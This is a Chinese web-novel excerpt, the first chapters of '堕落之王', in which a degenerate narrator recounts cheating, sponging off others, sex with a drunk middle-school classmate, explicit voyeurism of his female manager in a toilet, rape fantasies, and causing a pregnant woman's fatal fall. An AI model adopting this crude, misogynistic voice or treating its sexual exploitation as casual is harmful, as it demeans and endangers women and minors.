热搜排行
堕落之王1
本文最后由 slackmark 于 2010-1-8 09:10 编辑

堕落之王第一集 我的愿望

作者:说剑

 第一章我的理想与现实

 我是一个烂人!很烂很烂的人!
我很懒,能躺着不坐着,能坐着不站着。
 我好色,我一肚子坏水。
我吃喝嫖赌样样精通,从小学就开始偷看女老师上厕所。初中就将邻桌一个老实胆小的女孩灌醉,然后结束了处男生涯。
然后,那个女孩子就老老实实跟了我,一直到我厌了,将她甩了,又跟别的女孩鬼混。
不过很可惜的是,跟我鬼混的女孩都长得不怎么样,只是比较风骚。
因为我没钱,而且也不是那些女生喜欢的类型。
每到一所新学校,都会有新的校花和班花,我都会用非常期盼而又猥亵的目光看她们;那个时候我总忍不住仰起脖子、瞪大眼睛,不停地吞口水。那种感觉,总感觉自己像一只蛤蟆。
可惜这些班花校花都不是让我玩的,并不是我追求她们而被她们拒绝了,而是她们的容貌和我的竞争对手让我望而却步。记得有一个女孩与我一起报了学校的乐队,坏得漏水的我、矮小的我、没有长开的我,站在她的面前,还没有她高,像一只胆小却又强装潇洒无赖的鹌鹑。老师交代要唱歌,我唱得跟乌鸦叫丧一般,但我一直觉得我唱歌和张学友差不多的。
不过,那个满头白髮的老师也没有听我唱歌,随手挥手就让我结束了,然后爱怜地望着那个天使一般的白皮肤女孩道:“我好好想想,吹号太累了,也不好看,你就吹萨克斯好不好?”
老天,我那天报的就是萨克斯,而且有几百个人报。我们都觉得吹萨克斯很帅。虽然我连萨克斯有几个按键都不知道。
而那个女孩就是我们学校当时的校花章允,所有男生的梦中情人,包括我。
我足足暗恋她N年,儘管我一边暗恋她,一边糟蹋别的女孩子,却不敢向她表露一句,因为她太美了,我找不到信心。
在那个时候,我才觉得自己是一条自卑的可怜虫。而我的潇洒跋扈,只在我的父母、亲人、胆小听话的女友,还有一些比我更加软弱的人面前出现。
真正的坏蛋都是顶天立地的,都是杀人放火眼睛一眨不眨的,是光芒万丈的。直接说,是带种的。
而我却是没种,像我这种好吃懒做、坑蒙拐骗、吃喝嫖赌的人渣还活着,只是因为我没种、我胆小。
胆大有种的那些人,百分之九十吃了枪子,在阎王爷那里称王称霸了。剩下百分之十,到的,正在地上呼风唤雨、挥金如土,佔有最美丽的那一群女人,真是让我羡慕到胃痛。
很多人就不理解,为什么我父母那么老实的人能够将我这个人渣生出来。难道是他们窝囊得过度了,才生出我这么一个跋扈的祸害平衡平衡。可是,我在社会上、在那些强悍的人面前,比我爸爸还要窝囊啊!
当然,我并不是这个爸爸妈妈生的,我的父母是谁,鬼才知道。
我考不上好的高中,种地的爹妈就四处求人借钱,交了巨额的建校费上了重点高中。老实说,看着他们失望的目光和纵横的皱纹,我有那么半个小时很感动,觉得自己要好好读书。
但是仅仅半个小时而已,到了学校之后,就继续我的鬼混生涯。整个高中我不停地要钱,然后用钱泡妞、喝酒,总之一个坏学生能做的事情,我全部做了。
高中所有的考试,我成绩都还不错。因为我用钱贿赂成绩好的同学,每次考试的时候都能抄到。
所以,每次我父亲看着我的成绩单高兴的样子,我愧疚心一次比一次淡。
直到考大学的时候,我无法作弊,因为那些人都不让我抄了,无论我怎么贿赂都没有用。所以,我考了一个近乎耻辱的分数,距离最差最差的大学,还有好几百分。
然后,我就去伪造了一张病历证明,跟我父母说考试的那几天我正在生病,高烧四十度。
我父母无法接受,然后又藉钱让我上了高学费的重考班。
重考班,我没有和女生鬼混,不是我转性了,而是那些女生好丑。于是,我就在网路上骗女生上床。当然很多时候,我反而被她们骗了。
那些答应跟我裸体视讯的,等我钱汇过去之后,就不跟我视讯了。
就这样复读了一年,再一次考大学的时候,不知道是走了什么狗屎运,我的前面是个成绩超级好的女生,而且还很胆小。在我的威胁恐吓下,终于让我抄了,而且每一场考试都抄了,除了那些申论题抄起来太累人了。
当场就拍着胸脯跟我爸爸说,重点大学不是问题。所以填写志愿的时而下了号称中国美女最多的华东xx大学。
而当成绩下来的时候,我傻眼了。比上一次考试还要耻辱。
我不信邪,我明明完完整整抄下来的啊,为什么她上了北京大学,而我却只考了不到二百分(满分七百五十分)。
最后花了一些钱去查了分数,也没有查出差错。
 当然后来,我找到端倪了。因为根据准考证号的单双不同,答题卡也是不一样的。一种是竖排,一种是横排。我是横排的,完全照抄了竖排的答案,能不死才怪。
那个时候,我忘记我父母的神情和目光。因为我并不怕他们,那时已经撕破脸了。
 他们能把我怎么样?打我?他们打不过我。
 不抚养我,不管我?我是他们的儿子,我还没有成年,我去法院告他们。
而且,我并不觉得非常愧疚,因为我很小的时候,就知道了一个秘密,我就是从那个时候开始堕落的。
他们还算是负责的父母,又凑了很多钱,让我上了一个学费超贵的私立大学。
我一直很纳闷,我爸爸妈妈都不怎么会赚钱,怎么能藉来那么多钱?我怀疑他们藉到手后,也是第一次见到那么多钱。
不过,这些就不用我考虑了,钱只要在我的手里,就是我的钱。
我很穷,但是这样在学校会很没有面子,所以我要装有钱人。真名牌买不起,就买假名牌。就跟人家吹牛,说我家父母做的生意有多大,然后以不同的藉口向家里要钱。
 基本上,爸爸妈妈都会给我。只不过他们几乎不和我通电话,不和我联繫。
我放假回家的时候,他们也不理会我,不和我说话,望向我的目光,也带着反感和冷漠。
他们不搭理我,我还不爱搭理他们呢。所以从那时候,我就再也不回那个又穷又破的家了。
直到大学毕业后,他们就再也不给我汇钱了。我打电话过去质问他们,那个电话号码成了空号。我好几年没有回家,在外面花天酒地的,连回家的路都忘记了。
不过我知道,我就算回家也要不到钱了。那两个老不死的厌恶我,不愿意再和我有任何关係。供养我到大学毕业,已经完成法律规定给他们的义务,他们要和我断绝亲子关係。
 于是,我开始找工作。我这种烂大学出来的学生,都不会有好的职位在等,基本是跑销售。
那种活根本就不是人干的,累死人不说,钱还很少。举一个例子说,我曾经到的一个服装公司,一个月基本工资八百块,换成美金,也就一百美金。每天八点钟去公司报到,然后就到外面跑,去每一个单位推销他们的衣服;每卖出一件衣服,给百分之五的抽成。
那种鬼工作我才懒得去做,所以我每次都是去公司报到完后,就直接跑回出租房上网和一些女生鬼混。
就这样,那个傻子公司让我白领了三个月的薪水,就将我扫地出门了。因此我一年换了七八份工作。
甚至那些非法传销公司也将我开除了。这都是闻所未闻的,那些传销公司拼命去骗一些无知的人加入他们,然后扣住他们的身分证,僱佣一些流氓将他们看管起来。白天让他们出去推销非法商品,晚上像坐牢一样看管起来。只要加入了非法传销窝,想要逃脱出来就难如登天了。
对于他们来说,加入他们的每一个人都是巨大的财富,是供他们吸血的猎物,绝对不能放走的。但这些视人如命的传销公司也将我开除了,可见我真是人神共憎,无可救药了。
不过,我现在做的工作还不错哦,在一家正规公司做广告企划,也堂堂正正坐上办公室,出入富丽堂皇的大楼了。
虽然每个月工资才两千多块,大约三百美金左右,不过已经高出应届大学毕业生的平均工资了,况且我那还是一所野鸡大学。
当然,这份工作不是我自己找的,是我女朋友帮我找的,她让朋友的朋友帮忙找的。
我们现在的房子还是我女朋友帮忙租的。不过我们现在很少说话,也很少上床了。
倒不是她不够漂亮,她长得还不错。我甚至都忘记我是怎么将她骗到手的,然后就老老实实跟了我两年。也忘记了我们是怎么开始了,彷彿莫名其妙就多了一个女孩,给我洗衣服、做饭,给我交房租,给我上床。
不过,总跟一个女人上床,实在是一件很厌烦的事情。可是,又不能真的没有她,真是烦人!
“怎么今天早餐又是稀饭和油条?你知道我喜欢三明治的。”我愤怒地将碗筷摔开,不快说道,那白粥倒了一桌。
女友低头走过来,用抹布轻轻将桌子擦乾净,收拾好碗筷后,低声道:“我们没什么钱了。”
“怎么会没钱的?”我一听,不由得大声质问道。
“我妈妈生病了,治病花了七千块,我还向同事借了三千块。”女友好像很怕我,声音变得更小。
“那这个月生活费怎么办?这个月就要交房租了,怎么办?”我快要发疯了,要是交不了房租,我就要被扫地出门了。
女友的脑袋好像要垂到胸口去了,声音更是如同蚊子:“两个星期前你刚刚发了工资,能不能先拿来垫一下。虽然交房租不够,但是我们说好话跟他商量,先交一个月的。或许,或许到下个月,我就有钱了,就把钱还给你。”
“我的工资早就花完了,有个屁!”我没有撒谎,那两千多块钱,早在酒吧的时候,被一个美丽的女人喝掉了。
试问,一个超级性感、超级妩媚的女人走到你面前问:“能请我喝杯酒的吗?”
 那个时候你能拒绝吗?你不能!所以色乱情迷中,我就点了一杯最贵的酒,然后一个月工资都没了。
最关键的是,我从头到尾连那个女人的手指头都没有碰过,真是做了一次冤大头了。
看着女友站在面前,垂头连脸都看不清楚,三棍子也打不出一个屁了。我心里一阵郁闷,一看墙上的电子钟,已经快八点了。
 我要赶紧上班去。我的表现本来就不好好,属于在公司滥竽充数的。若是迟到了,只怕在主管眼里被特别注意,到时候发现我不学无术,外加一堆垃圾毛病,非开除我不可。
这年头,天天坐在有电脑有空调的办公室里面,一个月领两千多块,还有那么多美女看,这样的好工作可不好找!要是丢了,我连肠子都会悔断了。我虽然懒,但是我可不傻。
更何况,要是丢了这份工作,我连饭也没得吃了,说不定也没得住了。
家里的那两位爹妈现在不知道多么厌恶我,有跟没有一样。现在在不在,还是个问题。
 我谁都没得依靠!

 第二章走投无路

“哦!我们的大白领好早啊!”刚到公司大楼的门口,门口的保安就朝我打趣。
我的工作能力上司们不知道,但是下面的人可是一清二楚的。只不过我做人还算面面俱到,个个都捧着,所以还算待得下去。
只不过这些人对我就不怎么礼貌了,本来地位最低下的保安,也经常取笑我。
我心中怒火万丈,在心里早已经将这两个垃圾烂保安用刀子分了尸,将他们家的女人一遍又一遍地轮姦。
“笑,笑你妈的日,你老婆在乡下被多少姦夫干烂了,没看到你头顶上的帽子都绿得发蓝了吗?”我心里暗暗诅咒着,脸上却笑得如同花一般,从口袋里面拿出一包烟,抽出两根分给两名保安,道:“王哥、李哥辛苦了!天哪!我一直在想,这样公司像我这么没用的人,少一百个都不要紧。但是像王哥李哥这种,平时没发觉,一旦少了,那可就不得了了。”
“那你把你的工资分一半给哥哥我花花。”一个胖子保安拍了拍我的脸。
我恨不得将他爪子剁下来餵狗,笑道:“放心了王哥,下个月工资下来,我给王哥买瓶好酒。”
 接着,我赶紧走进了公司。那笑容满面的脸,顿时变成棺材死人脸。
我的工作,差不多就是这样维持下来的。
 我他妈的怎么活得这么窝囊啊!
一边暗恼着走进了电梯,一阵诱人的香味钻进了鼻子。
 抬头一看,果然是唐棠。顿时,我全身的火都烧了起来。
 奶奶的,这个娘们太漂亮了!不要说在整个公司,就算在这一片写字楼所有白领女性,按说是佳丽如云的,她绝对算是头一个!
一说起唐棠,这里几百家上千家公司,十来万人没有不知道的。
不过,并没有如同小说里面,追求的人可以从公司门口排到警站(大约一千公尺)。
职位没有到总监、薪水不到两万一个月、没有房子没有车,你根本连招呼都不敢打。
以前有个部门经理,不知道天高地厚,天天来给她送花,还开着一辆本田车来接她下班。
结果在停车场里面看到十几辆名车停在那里,最次的也是宝马,都是来接她过圣诞节的。
顿时,他就灰溜溜开车走了,还惹得门口两个保安好一阵嘲笑。
对这种娘们,我还是有自知之明的,脑子里面怎么意淫都不要紧,但是千万不要表现出来。一旦表现出来,我就要被炒鱿鱼了,因为我们总裁的儿子也在追求唐棠。
所以这个时候的我,内心龌龊之极,但是脸上却如同君子一般。
 “唐经理好!”
恭敬打完招呼后,我就眼观鼻,鼻观心,心观老二。
这娘们脸太正了,男人绝对不能多看。那胸部多挺拔,那屁股多圆啊,那两条腿多修长啊!要是被夹一下,真是要人命啊!尤其那两瓣红唇,如同火在烧一般,让人充满了狂吻的慾望。
只要心里一想,我觉得整个身体都在发抖,而且老二也蠢蠢欲动,还好两条腿夹得紧,不然非翘起来不可。
“滴!滴!滴!”一阵长鸣打乱了我的意淫,我抬头一看。
怎么刚刚还空空的电梯,现在竟然挤满了人,而且大部分都是男的。
别的电梯那么空,为什么没有人去坐?偏偏坐这一趟?
 全部都是色鬼,都是淫棍!我愤愤骂道。我一早就来了,站在唐棠身边是正常的。
后面挤进来的,绝对是居心叵测。
“电梯超载了,后面进来的等下一趟,或者坐别的电梯。”唐棠眉头皱了皱,脆声说道。
 但是,谁也不愿意出去。反而许多目光竟然朝我这边射来,连唐棠的目光也朝我射来。
“我先来的,凭什么我出去?当我好欺负啊!”我心中怒火万丈。不过唐棠一眼望来的时候,我还真的顿时觉得矮了一截,不知道是不是因为她相当高。
“好,你们先上去,我坐下一趟好了!”我脸上笑着,故作潇洒地走出了电梯。
 其实心里在滴血!妈的,电梯里面那么挤,万一有人在我背后一推,我老二就盯上唐棠那又圆又翘的屁股上了!
 妈的!妈的!我内心极其灰暗地用拳头揍那些男人的脸,一直揍到血肉模糊的时,电梯再次下来了。
坐到我自己的办公桌上,无所事事。
我们公司钱很多,所以也养得起很多闲人;而且我在的也是万精油职位,可以什么都乾,也可以什么都不做。
普通的整理档案、资料什么的,我可以做做。碰到麻烦的事情,比较专业的广告工划,数据整理,我就推给不同组别的同事,然后使劲在上司和别人面前说他的好话,使得他也不好意思拒绝,最后几乎成为了习惯。
当初看电影《投名状》的时候,有人骂魁字营的那个将军天天什么事情都不做可以领赏,活得无比滋润。李连杰扮演的庞青云要死要活地打仗,最后却被干掉了。说这个编剧是垃圾,怎么可能会出现这样的情况?
骂人的才是傻子,像魁字营的胡庆魁永远都不会缺饭吃,不会缺银子花。就算他再无能、就算他再没有功绩,只要认好了主子,做好了奴才相,永远都不缺他的那碗饭。反正给他饭吃的主子,又不用自己花钱,是皇帝和太后给的钱,自己能有那么一个听话的奴才,有什么不好?
再说,皇帝和太后也不知道胡庆魁没用,就算知道了又怎么样?那些钱又不是他们的,是天下老百姓的。用老百姓的血汗养一个听话的奴才有什么不好,至于老百姓的死活,只要不造反,又有什么要紧。
至于庞青云,你那么能干,一开始就气势汹汹要来抢我饭碗,又不乖乖来我这里排队,站好队伍。怎么能够放心?几句谗言一进,就将你杀了。太后皇上虽然觉得有些可惜,但是仗打完了,要你有什么用?为了你得罪那些朝廷大佬,打乱朝廷势力的平衡,那怎么可以!于是庞青云就要倒霉了。
 庞青云真是个傻子!打完仗后,他就应该去拜山头的,找一个比较有前途的大佬投靠。若是不想投靠,那就牢牢抓住兵权,朝延要杀三三虎也别杀,保住自己的左膀右臂。让朝廷忌惮,那个时候太平天国刚刚灭了,国家摇摇欲坠,这个老贱人怕死打仗了。见到他手握兵权,强硬得很,自然而然会做出妥协。
这条路比较难走,并不是每个人都可以做军阀的,只有出现了很多军阀的时候,才可以做军阀。
我很清楚这些道理,所以我只要抓住我的部门经理就可以了;只要他觉得有我这个听话的下属比较好,这份工作我就能够做下去。反正给我发工资的是大老闆,又不是他。
打开电脑,进入了QQ页面,我又开始在里面找女人了。
我刚刚和一个风骚的女人勾搭上,忽然一阵拍手声响起。
“大家先放下手头的工作。”听到这个声音,我立刻起来,向个人送上尊敬的目光。
因为说话的是我的衣食父母,策划部的部门经理张乾,一个快四十岁的中年人。
在众人鄙夷的目光中,我给张乾拉去一张椅子,然后殷勤地泡了一杯茶,吹了吹再递到他手里。
张乾显然不是一个礼贤下士的人,对于我的殷勤并没有什么反应,并没有坐我拉去的椅子,也没有喝我递过去的茶。
按说,我应该很不忿的,下次就不侍候了。
但是这样就大错特错了,他虽然不喝不坐,但假如你不搬椅子过去、不泡茶给他,那他的感觉就完全两样了。
再说,我泡茶并不是真的想让他喝,只是想让他看到我在泡茶而已。
他是一个部门经理,权力说大不大,说小不小。
部门的人对他虽然恭敬,却不怎么奉承,一个个都是心比天高的人物。所以我的存在,让张乾觉得非常舒服,虽然他未必真的多么看重我。
“今天来这里就要告诉大家,今天是我们共事的最后一天!”张乾满脸笑容说:“这段时间来,我与大家经历了…”
他下面的话我已经听不下去了,他的话在我耳朵里面犹如霹雳一般,因为他要调离这个部门了,这个部门就会有新的主管。
要是来一个认真的经理,我真的就要捲铺盖了。
“等下唐棠经理就会接手我的工作,希望大家日后配合她的工作。”张乾继续说道。
又是一阵激动,因为唐棠那个超级大美女要来自己的部门了,日后就能时时看到,甚至趁着她不小心的时候,说不定可以偷看她短裙里面的小内裤。
我只激动了片刻,接下来,心里一阵冰凉。
因为,唐棠在公司里面是出了名的铁腕,眼里容不得任何沙子。
业绩不好的、工作能力不强的,在她的部门下没有任何生存的可能性。
“那张经理会去哪里呢?我跟您习惯了,若是您离开了,我还真的习惯不了。”我连忙朝张乾表忠心。
“我会去负责东南那边管理分公司的工作。”张乾春风得意。
他是升职了,而且手里的权力大了许多,就是不知道能不能带我一起过去。
我的话应该说得很明白了,可是他还没有表态。
“我能不能跟着您一同去呢?那边人生地不熟的,我怕您手头也没有熟悉的下属,帮您去做一些琐碎的事情。”我赶紧将话题挑明了,脸上的神情变得更加恭敬。
“不用了!”张乾拍了拍我的肩膀道:“唐棠经理工作能力远在我之上,她手下你能学好很多东西的。”
说罢,张乾就直接走了出去,没有再理会我。
难道张乾真的一点都没有将我当一回事?他赴分公司做一方诸侯了,顺手将我带走都不能。若带着我去的话,我肯定更加感激他,也更加忠诚的啊!
难道觉得我太垃圾了,做奴才都不够格?
 不行,今天我要将事情想清楚。下班后投其所好,送礼也好,帮他骗漂亮女人也好,甚至帮他陷害在公司的对头,总之要让他回心转意。
一个上午,我就这样乱想着,忽然觉得老二有点涨,才想到今天早上生气,没有撒尿就跑来了。
听说憋尿多了会得尿毒症的,我可是很爱惜我的生命,于是我飞快朝厕所跑去。
虽然一脑子烦心事,但我还是很舒爽将体内囤积的废水都放尽了。正闭目享受尿后的余韵时,忽然听到隔壁有声响。
那边便是女厕所,与这边的男厕所只间隔了一堵并不厚的墙壁。
听着那边的水流击打马桶壁的声音,我还没有放进裤子的老二顿时猛地一翘。
 那是女人撒尿的声音。也不知道是因为什么鬼原因,男人撒尿像洩洪一般,哗啦啦地响。
女人撒尿,却像在一个大坝上开了一个很小的口子,里面的水猛地激射出来,发中一阵撩人的唏唏声。
 妈的!自从上次做了冤大头,给一个风骚美丽的女人花了两千块买了一杯酒后,我就再也没有钱出去鬼混了,自己的女友看着又厌烦,所以已经有好几天都没有碰过女人了。
这下被女人的撒尿声一激起来,竟然怒然勃发,越演越烈。
听着隔壁女人的撒尿声自慰,真是让人无奈。
“奶奶的,你撒尿的声音再那么风骚,老子冲过去后,直接按在马桶上强奸了你,连你B也不用纸擦一擦!”我心里熊熊慾火,抬头準备闭上眼睛,使得那边的声音听得更加真切一些。
 咦?那边怎么有这么一道缝隙?原来男女厕所中间的这堵墙是后来临时加的,并没有封死,使得男女厕所之间竟然还有一道一寸多的缝隙敞露着。
狗日的,但愿老子是第一个发现这道缝隙。不然公司的这些美女,说不定早被那些畜生看光了屁股。
一边想着,我一边蹑手蹑脚地爬上了马桶。
我声音很轻的,动作也很轻柔,其实很擅长做贼。
爬上马桶,我连忙睁大双眼,朝那道缝隙凑去,心情澎湃地朝那边女厕所望去。
男人也真是一个贱字,其他女人的下身和自己老婆虽然色泽形状上有些区别,但是大体上还是差不多的。自己老婆天天有得看,却还偏偏喜欢去看别的女人的,尤其是偷看到的。
 狗日的!那两个老不死把我生得这么矮做什么,才一米七五的个子,害得我站在马桶上也构不着那道缝隙,用力踮起脚来都没用,还差三十多厘米。
没法子,只有爬上马桶的沖水箱了。
又蹑手蹑脚地爬上沖水箱,脖子伸得跟长颈鹿一样,那双眼珠子鼓得彷彿都要飞出了眼眶。
 奶奶的!奶奶的!我看到了!
 好白的两条大腿,好圆?好结实、好长!
 好圆的两瓣屁股啊,好大。足足横跨了整个马桶的两侧,近半雪白的臀肉压在马桶沿外边。
 阴毛很茂盛,好像修过。
可惜,这么坐着,看不见要紧部位啊!
 这可急死我了!拼命瞪眼,还是瞧不着。
不过女人和女人还真是不一样,就这个娘们。那双腿怎么就那么长、那么好看。那对屁股怎么就那么白,那么腻,那么圆呢?
因为坐着,在后腰与屁股中间处一阵凹陷,腰相当细,曲线非常好,真是迷死人了。
“快起来,快起来!”我心里拼命祈祷,心里好像有七八只猴子在挠痒,焦急得不得了,极其迫切想要她站起身来,这样她下身要害也能被我看到了。
“咦?这是公司哪个娘们?没见过哪个女人有那么好的身材啊!”我真是一个没品的色鬼,只盯着屁股和下身看,都忘记看脸蛋了。
顿时,目光依依不捨朝女人的脸蛋望去。
“妈啊!是唐棠!”我心里一热,浑身一软。
胯下老二猛地一挤,竟然好像要喷射出来。
真是没出息,光听个名字竟然就要喷潮。
“啪嗒!”心中一热一惊,身体一软,老二一急。
我从沖水箱那里摔下来了,一百多斤的身体猛地朝中间的墙壁砸去。
我害怕摔下来折断了老二,双手慌忙抓住了可以抓住的东西,正好紧紧捏住了间隔男女厕所那道墙壁的顶端。
然后老二猛地喷射了出去,手里一软,差点掉了下来。
只听到那边的唐棠惊呼一声,目光飞快朝这边望来。接着她飞快穿好了裤子,猛地打开厕所门。
就在我认为她要去叫保安的时候,她竟然一脚朝我所在厕所的门踢来。
这个小娘们的两条大腿那么长、那么圆、那么紧凑,踢出来的力道,竟然也大得吓人。只两三下,门便被踹开了。
于是,我下身赤裸地吊在墙壁上。
喷射完的老二上,还留着一些乳白色的液体。厕所的墙壁上,一道乳白色液体,画的线足足两米,可见喷射之远……力道之足。
我钻进马桶里面淹死算了,在她绝美的容颜和冰冷的目光中,我彷彿冬天中褪毛的寒号鸟。
“完了!我的工作完了,我的生活费完了!”我心中冰凉,她的目光彷彿刺一般射中了我。
猛地跳了下来,飞快穿起裤子,飞快地逃出了厕所、逃出了公司。
我逃出公司的大门,便听到后面阵阵嘈杂声。
接着便真是许许多多的脚步声,一大群保安还有男职员大声吼道:“别跑!别跑!抓住他,抓住他!”
我肝胆欲裂,两条腿中邪一般,飞快地跑,一直跑。

 第三章恶魔降世

足足跑了两公里,到了地铁站口。
后面的保安还有公司职员竟然还在拼命追着,我这下子真是要没命了。 。而且路上很多人吃饱饭没事干,竟然也加入了追捕的队伍。
我只能跑,我要是不跑,我就死定了。
而且地铁站里面人多,我只要混进里面,他们就不容易抓到我了。
 于是,我拼命朝地铁站跑去。很快到了自动扶梯,那扶梯缓缓往下,我可等不了。
“让开,快让开!”我大声喝道,整个扶梯站满了人,我一边用力喝斥,一边将他们推开,好让自己快些跑下去。
“叫你滚开,慢慢吞吞的!”眼前就有一个女人站在那里慢吞吞地没有让路,我心中一火,猛地将她用力推开。
“啊!”只听到一阵惨痛的尖叫,那个女人便从扶梯上摔了下来。
我转头一看,竟然是一个孕妇,正大肚便便。
 那个肚子,真是大得吓人啊。
我不由得停了下来,那个孕妇滚落在我的身边,正在地上翻滚惨号。
我脸上一阵抽搐,不由得伸出手要将她扶起。
“快抓住他,别让他跑了!”就在这时,后面传来公司保安的一阵大喝。
我心中一惊,刚刚抓住那孕妇的手一放,飞快转身跑开。
那孕妇又一声痛呼惨叫,我飞快朝地铁跑去。刷卡过去后,地铁刚好正要关门开车。
我猛地冲了进去,车门甚至夹住我的衣衫,然后列车就飞快开动了。
我整个人彷彿都要虚脱了一般,靠着位置瘫软了下来。
他们肯定追不上地铁列车的,我暂时安全了。
好像、刚才,那个孕妇的身下,流了好多血。
 很赤眼,红得发紫的血。
而且这么一撞,她好像就要生了!
“幸好,幸好!公司没有人知道我住在哪里,不过他们若是报警了,警察说不定会立刻找到这里的。”我无比庆幸又无比惶恐地下了地铁,跑回自己的住处。
 我必须出去躲一段时间。偷窥女同事上厕所,项多算得上是性骚扰,不算多大的罪过;不用离开这个城市,只要到郊区躲一阵就可以了。
 可是我没钱怎么躲?身上只剩一百来块钱了。
女友好像在家里放了一些东西,若全部捲走了,应让该能够卖一些钱。
找心里琢磨着,双手哆嗦地去开门。
 人们都说红颜祸水真是不假。你唐棠没事长得那么漂亮做什么?你没事身材那么好做什么?
假如你不是那么漂亮,你身材不那么好,我会射吗?我会惊讶吗?我会全身发软吗?我会摔倒发出响动让你发现吗?我会丢掉工作吗?我会丢掉饭碗吗?
 奶奶的!奶奶的!连一个破锁也跟我过不去!我用力地以钥匙扭门,一边用脚拼命踢门。
踢了一会儿,听到发出的声音如此响,我立刻心虚地一缩头。
发出这么大声响,别把警察招来了!
用钥匙打开门后,我整个身体几乎已经虚脱了。一走到床上瘫躺下来,然后闭上眼睛,浑身只觉得又酸又软,连抬起手来的力气都没有。
歇了很长一段时间后,我不由得痛苦地想起日后的生活来。
我这份优美的工作肯定算是完了,警察不来抓我就已经算好的了,所以剩下几天里,我一定要在家里好好躲着。
马上就要交房租了,我女朋友竟然没钱了,还欠了一堆钱,真是不知道怎么变出钱来给房东。
而且接下来这段时间的生活费应该怎么办?我身上只剩百来块钱了,就算吃十几块的菜钱,也只能维持一个星期。
想着想着,整个脑袋都要炸掉了。
“不行,她和同事的关係不错。既然以前的几千块都藉得到,现在再藉一些应该也能藉得到。她两千块一个月工资虽然不算太多,但是省省用也够了,我得在家躲躲一阵子。”我暗中下定了正意,準备等到她傍晚下班回来的时候逼着她去借钱。
“唉!”我长长地叹了一口气,迷迷糊糊睁开眼睛一看,却见到另外一个枕头上留着一张纸条,心中一阵不妥。
马上将纸条拿过来一看,上面是女友清秀的字迹。
“我们分手吧!不要来找我,原谅我无法与你继续生活下去,你不能给我需要的东西,反而一再的索取,我已经带着我的东西搬走了。你……”
 我脑子顿时一闷,接着一炸!
“走了?分手?好啊!滚吧,我早就想甩了你了,就是不好开口!哈哈……哈哈!”
我顿时睏意全无,猛地从床上站起来,先是一阵冷笑,然后是一连串的冷笑,接着便是在房间乱走,一边走一边冷笑,一边猛地吸烟。
“我不能给你所要的东西,你想要什么?你找到其他小白脸了?奶奶的,跟老子分手,说得好听,还不是被老子玩了两年的破鞋然后扔掉!哈哈……哈哈! ”
接着,我猛地将那张纸条撕得粉碎,去外面倒了一杯白开水猛地一口气喝下,顿时呛住了气管一阵痛苦的咳嗽,猛地将茶杯摔碎。
“破鞋!贱货!不行,我非要找到你公司去,我大闹一场,让你也没有脸面在公司混下去,我要让你所有的同事都知道,你是我玩完不要的破鞋!哈哈……哈哈!”我一边疯癫自语,一边吸烟。
“唉!”叹了一口气,又瘫软在床上,喃喃自语道:“走吧!走吧!走了好啊!不要再找像我这样的王八蛋了!”
我又重新瘫软在床上,这下子不能让她借钱了,不能让她交房租了,不能让她养我了,难道我真的就要住到大街上去了。
索性不管这些,顺手拿过遥控器,打开电视。
“今天上午在南环地铁站,一男子从电梯上沖下,撞到一孕妇。该孕妇重重摔倒在地,下体严重流血。路人连忙拨打急救电话,未等到急救车赶到,该孕妇已经流产。生下一未足日男孩死婴,随后该孕妇也因为大出血而死。警方现在已经全城通缉……”
我脑子猛地一白,彷彿一个原子弹在脑子里面爆炸,随即什么也不知道。什么也看不见,什么也听不见。
整个身体是冰凉的,彷彿在地狱里面不住地沉沦、沉沦。
很久以后,眼睛开始渐渐恢复了视觉,耳朵也渐渐你恢复了听觉,一摸脸,已经泪流满面。
“对不起,对不起!sorry,sorry。”
我跪倒在床前,喃喃自语,泣不成声……
我已经开始逃亡了,我也不知道偷窥女同事上厕所,会酿成一桩命案,而且还是两条生命。
我带着仅剩的一百来块钱逃亡了,我不知道往哪里跑。我不敢坐火车,不敢坐汽车。
我穿着带有大帽子的衣衫,盖住了头脸,低着头。
我不敢走大街,我只敢穿小巷,一直往城外走。我不知道应该逃到哪里,我只知道只要出了城市,被抓到的可能性就少了很多。
最好逃到城市外、郊区外的农村,逃到山上,随便找个草丛茂密的地方,或者一个山洞躲起来。
就这样一直躲着人走,我害怕见到任何人,彷彿任何人都认识我,都会将我抓去给警察枪毙。
我只敢沿着墙根下走,我只敢往偏僻的地方走。我不认识路,我只朝着一个方向走,一直走出了城市。
傍晚,我走到了郊区的一个农村。我依旧不敢停留,因为这种郊区的农村治安非常完善,甚至还有派出所。
我依旧拼命往山上走,只要躲到山里面,我就安全了。
这里是一块大平原,田地多的是,唯独很少有山。
傍晚的时候,我远远看到了一座山的影子,我欣喜若狂,哆嗦地拼命往山的方向跑,尽量让身体在农作物的遮掩下。
终于几乎天黑的时候,我到了山脚下。
四处已经没有人烟,我心虚地探了探四周,终于肯定四周没有人了,这才敢站直,身体,拼命朝山里面跑。
 一直跑,一直跑,慌不择路。
小时候在乡下山村长大,从小就没有安全感。唯恐哪一天日本人重新打来了,或者是美国人打来了,总之害怕有一天会战争。所以上山的时候,我总是会小心注意那些茂密的草丛,或者是山沟山洞,想着若是哪天真的打仗了,我躲在里面,那些杀人的军队就找不到我,我就能活下来了。
山里越是茂密的树林,越是给我强烈的安全感。
所以一路上,我拼命往茂密的树林钻,往那些光线找不到的地方钻,找山洞,找山沟。
这样如没头苍蝇地钻,等到我稍稍觉得有些安全感的时候,眼前已经是伸手不见指的漆黑。
早已忘了来时的路,能不能走出去已经不重要了。
这里好像是一个山洞,而且是在一条壕沟里面的山洞。
这条壕沟有年数了,想必是几十年前打仗挖的。此时壕沟上方尽是茂密的杂草树木,本来就已经够隐密的了,偏偏壕沟里面还有一个洞,就更加隐密了,想必那些警察是不可能找到这里的了。
我心稍稍安稳了下来,顺着山洞坐了下来。
 外面好安静啊!好黑啊!有些可怕!有些恐怖!有些吓人!
之前一直拼命地跑没有感觉,现在安静了下来,小时候听过的鬼故事、看过的鬼电影、看过的鬼故事书,那些可怕的内容全部涌上了脑子。
像是辫子姑娘、窗外没有身体的脸、厕所里面一张狞笑的鬼面孔、漂浮在空中没有身体的鬼影……有些鬼不出现,但是会催眠你,将你引诱到他的坟墓上,让你捏泥球塞住自己的鼻孔、塞住自己的嘴巴,活活让自己窒息而死;有些鬼会让你一直干活,抬几百斤的东西搬上搬下,让你活活累死。
我拼命让自己不去想,但是那些恐怖的情景却清清楚楚地涌上脑海,彷彿出现在眼前。
我拼命地想要睡着,却发现闭上眼睛看到的情景,馋更加让自己心惧欲裂。
生不如死,那种浑身冰冷的恐惧生不如死!
 每一秒钟,都是度日如年!
我被整个社会抛弃,躲在这个阴森的山洞,只有无数的鬼陪伴我,让我恐惧,勾我的魂,夺我的命。
